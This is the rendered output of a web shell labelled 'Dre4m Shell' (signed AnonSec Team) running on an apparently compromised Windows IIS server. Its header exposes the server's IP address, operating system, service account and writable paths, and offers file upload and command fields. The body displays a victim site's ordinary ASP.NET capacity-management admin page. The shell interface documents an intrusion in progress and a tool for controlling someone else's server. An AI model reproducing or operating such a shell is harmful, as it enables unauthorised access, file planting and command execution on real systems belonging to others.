Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.21.46.24
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/airzones/mpos.airzone.sg/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/airzones/mpos.airzone.sg/wwwroot/CapacityManagement.aspx
<%@ Page Language="C#" AutoEventWireup="true" MasterPageFile="~/APOS.Master" CodeBehind="CapacityManagement.aspx.cs"
    Inherits="Megazip.CapacityManagement" %>

<asp:Content ContentPlaceHolderID="Content_Admin" ID="body" runat="server">
    <ul class="breadcrumb push-down-0">
        <li><a href="#">Super Admin</a></li>
        <li class="active">Capacity Management</li>
    </ul>

    <script src="js/jquery-1.7.2.min.js" type="text/javascript"></script>

    <script src="js/jquery.maskedinput.js" type="text/javascript"></script>

    <script type="text/javascript">
        $(function() {
            $("#ctl00_Content_Admin_txtStartDate").datepicker();
            $("#ctl00_Content_Admin_txtenddate").datepicker();

        });
    </script>

    <style type="text/css">
        .ui-datepicker
        {
            font-size: 8pt !important;
        }
    </style>
    
    <script type="text/javascript">
    $(document).ready(function(){
        $('#ctl00_Content_Admin_txtstarttime').mask("99:99");
        $('#ctl00_Content_Admin_txtEndTime').mask("99:99");
    });
    </script>

    <script>
        function ClientTextBox() {
            var Location = document.getElementById("ctl00_Content_Admin_ddlLocation").value;
            var product_name = document.getElementById("ctl00_Content_Admin_ddlProduct_name").value;
            var sessiontime = document.getElementById("ctl00_Content_Admin_ddlsessiontime").value
            var StartDate = document.getElementById("ctl00_Content_Admin_txtStartDate").value;
            var enddate = document.getElementById("ctl00_Content_Admin_txtenddate").value;
            var starttime = document.getElementById("ctl00_Content_Admin_txtstarttime").value;
            var EndTime = document.getElementById("ctl00_Content_Admin_txtEndTime").value;
            var NoOfPax = document.getElementById("ctl00_Content_Admin_txtNoOfPax").value;
            var WalkUp = document.getElementById("ctl00_Content_Admin_txtWalkUp").value;
            var AnnualPass = document.getElementById("ctl00_Content_Admin_txtAnnualPass").value;
            var WebBooking = document.getElementById("ctl00_Content_Admin_txtWebBooking").value;

            if (Location == 0) {
                alert("Select The Location Name");
                return false;

            }

            else if (product_name == 0) {
                alert("Select The Product Name");
                return false;
            }
            else if (sessiontime == 0) {
                alert("Select The Session Time");
                return false;
            }
            else if (StartDate == null || StartDate == "") {
                alert("Select The Start Date");
                return false;
            }
            else if (enddate == null || enddate == "") {
                alert("Select The End Date");
                return false;
            }
            else if (starttime == null || starttime == "") {
                alert("Select The Start Time");
                return false;
            }
            else if (EndTime == null || EndTime == "") {
                alert("Select The End Time");
                return false;
            }
            else if (NoOfPax == null || NoOfPax == "") {
                alert("Enter The No Of Pax");
                return false;
            }
            else if (WalkUp == null || WalkUp == "") {
                alert("Enter The Walk Up");
                return false;
            }
            else if (AnnualPass == null || AnnualPass == "") {
                alert("Enter The Annual Pass");
                return false;
            }
            else if (WebBooking == null || WebBooking == "") {
                alert("Enter The Web Booking");
                return false;
            }


        }
    
    
    
    </script>

    <%-- <script>
        $('#timepicker').timepicker();
    </script>--%>
    <div class="page-content-wrap">
        <form id="Form1" runat="server">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-success panel-hidden-controls">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            Capacity Management</h3>
                        <ul class="panel-controls">
                            <li><a href="#" class="panel-fullscreen"><span class="fa fa-expand"></span></a></li>
                            <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown"><span
                                class="fa fa-cog"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a href="#" class="panel-collapse"><span class="fa fa-angle-down"></span>Collapse</a></li>
                                    <li><a href="#" class="panel-refresh"><span class="fa fa-refresh"></span>Refresh</a></li>
                                </ul>
                            </li>
                            <li><a href="#" class="panel-remove"><span class="fa fa-times"></span></a></li>
                        </ul>
                        <div class="pull-right">
                            <asp:Button ID="btnback" Text="Back" runat="server" class="btn btn-info" OnClick="btnback_Click" />
                        </div>
                    </div>
                    <div class="panel-body">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblCapacity_id" runat="server" class="col-md-4 col-xs-12 control-label">Capacity ID</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtCapacity_id" Enabled="false" Text="Auto" runat="server" class="form-control"
                                                TabIndex="1"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblProduct_Name" runat="server" class="col-md-4 col-xs-12 control-label">Product Name<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <%--  <asp:TextBox ID="txtProduct_Name" runat="server" class="form-control" TabIndex="1"></asp:TextBox>--%>
                                            <asp:DropDownList ID="ddlProduct_name" AutoPostBack="false" CssClass="form-control selected"
                                                TabIndex="2" runat="server" OnSelectedIndexChanged="ddlProduct_name_SelectedIndexChanged1">
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblStartDate" runat="server" class="col-md-4 col-xs-12 control-label">Start Date<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="input-group">
                                                <asp:TextBox ID="txtStartDate" runat="server" class="form-control datepicker" TabIndex="4"></asp:TextBox>
                                                <samp class="input-group-addon" style="padding-bottom: 7px;">
                                                    <samp id="ctl00_Content_Admin_Samp1" class="fa fa-calendar">
                                                    </samp>
                                                </samp>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblSessionStartTime" runat="server" class="col-md-4 col-xs-12 control-label">Session Start Time<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="timepicki">
                                                <asp:TextBox ID="txtstarttime" runat="server" class="form-control" type="text"
                                                    TabIndex="6" MaxLength="5" Text="11:00" placeholder="HH:mm"></asp:TextBox>
                                                    <label style="color:blue;">Format (HH:mm)</label>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br>
                                <br>
                                <br />
                                <h3 style="text-align: center; background-color: rgb(85, 172, 238); margin-right: -560px;">
                                    Pax Details</h3>
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblNoOfPax" runat="server" class="col-md-4 col-xs-12 control-label">No Of Pax<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtNoOfPax" runat="server" class="form-control" onblur="if (this.value == '') {this.value = '';}"
                                                onkeypress="return onlyNumbers(event)" TabIndex="8"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblAnnualPass" runat="server" class="col-md-4 col-xs-12 control-label">Annual Pass<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtAnnualPass" runat="server" onblur="if (this.value == '') {this.value = '';}"
                                                onkeypress="return onlyNumbers(event)" class="form-control" TabIndex="10"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                            </div>
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblLocation" runat="server" class="col-md-4 col-xs-12 control-label">Location<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:DropDownList ID="ddlLocation" AutoPostBack="true" CssClass="form-control selected"
                                                TabIndex="1" runat="server" OnSelectedIndexChanged="ddlLocation_SelectedIndexChanged1">
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblSessionTime" runat="server" class="col-md-4 col-xs-12 control-label">Session Time<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:DropDownList ID="ddlsessiontime" AutoPostBack="false" CssClass="form-control selected"
                                                TabIndex="3" runat="server" MinimumValue="1" MaximumValue="5">
                                                <asp:ListItem Value="0" Text="---Select---"></asp:ListItem>
                                                <asp:ListItem Value="20">20</asp:ListItem>
                                                <asp:ListItem Value="30">30</asp:ListItem>
                                                <asp:ListItem Value="40">40</asp:ListItem>
                                                <asp:ListItem Value="60">60</asp:ListItem>
                                                <asp:ListItem Value="Unlimited">Unlimited</asp:ListItem>
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblenddate" runat="server" class="col-md-4 col-xs-12 control-label">End Date<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="input-group">
                                                <asp:TextBox ID="txtenddate" runat="server" class="form-control datepicker" TabIndex="5"></asp:TextBox>
                                                <samp class="input-group-addon" style="padding-bottom: 7px;">
                                                    <samp id="Samp1" class="fa fa-calendar">
                                                    </samp>
                                                </samp>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblEndTime" runat="server" class="col-md-4 col-xs-12 control-label">Session End Time<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="timepicki">
                                                <asp:TextBox ID="txtEndTime" runat="server" class="form-control" type="text"
                                                    TabIndex="7" MaxLength="5" Text="22:00" placeholder="HH:mm"></asp:TextBox>
                                                    <label style="color:blue;">Format (HH:mm)</label>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <br />
                                <br />
                                <br />
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblWalkUp" runat="server" class="col-md-4 col-xs-12 control-label">Walk Up<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtWalkUp" runat="server" class="form-control" onblur="if (this.value == '') {this.value = '';}"
                                                onkeypress="return onlyNumbers(event)" TabIndex="9"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblWebBooking" runat="server" class="col-md-4 col-xs-12 control-label">Web Booking<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtWebBooking" runat="server" class="form-control" onblur="if (this.value == '') {this.value = '';}"
                                                onkeypress="return onlyNumbers(event)" TabIndex="11"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblstatus" runat="server" class="col-md-4 col-xs-12 control-label">Status</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="input-group">
                                                <asp:RadioButtonList ID="rbtnStatus" RepeatDirection="Horizontal" runat="server">
                                                    <asp:ListItem Selected="True" Value="Active">Active &nbsp; &nbsp; </asp:ListItem>
                                                    <asp:ListItem Value="Deactive">Deactive</asp:ListItem>
                                                </asp:RadioButtonList>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                            </div>
                            <br />
                            <div class="row">
                                <div class="form-group">
                                    <asp:Label ID="Label5" runat="server" class="col-md-4 col-xs-12 control-label"></asp:Label>
                                    <div class="col-md-12 col-xs-12">
                                        <center>
                                            <asp:Button ID="btn_Capacitymgt" Text="Save" runat="server" class="btn btn-success"
                                                OnClick="btn_Capacitymgt_Click1" OnClientClick="javascript:return ClientTextBox();" />
                                            <asp:Button ID="btnClear" runat="server" Text="Clear" class="btn btn-danger" OnClick="btnClear_Click1" />
                                        </center>
                                    </div>
                                </div>
                            </div>
                            <br />
                            <br />
                            <div id="divTime" runat="server">
                                <asp:GridView ID="TimeView" runat="server" CssClass="table datatable" AutoPostBack="True"
                                    AutoGenerateColumns="False" OnRowCommand="TimeView_RowCommand" OnRowDeleting="TimeView_RowDeleting"
                                    OnRowEditing="TimeView_RowEditing">
                                    <Columns>
                                        <asp:BoundField DataField="Sno" HeaderText="Sno"></asp:BoundField>
                                        <asp:BoundField DataField="ProductName" HeaderText="Product Name"></asp:BoundField>
                                        <asp:BoundField DataField="Date" HeaderText="Date"></asp:BoundField>
                                        <asp:BoundField DataField="AnnualPass" HeaderText="AnnualPass"></asp:BoundField>
                                        <asp:BoundField DataField="WalkUp" HeaderText="WalkUp "></asp:BoundField>
                                        <asp:BoundField DataField="WebBooking" HeaderText="Web Booking "></asp:BoundField>
                                        <asp:BoundField DataField="SessionTime" DataFormatString="{0:dd/MM/yyyy hh:mm tt}"
                                            HeaderText="Session Time"></asp:BoundField>
                                    </Columns>
                                    <AlternatingRowStyle BackColor="#F3F5F8" />
                                </asp:GridView>
                            </div>
                        </div>
                        <br />
                    </div>
                </div>
            </div>
        </div>
        </form>
    </div>
</asp:Content>

Anon7 - 2022
AnonSec Team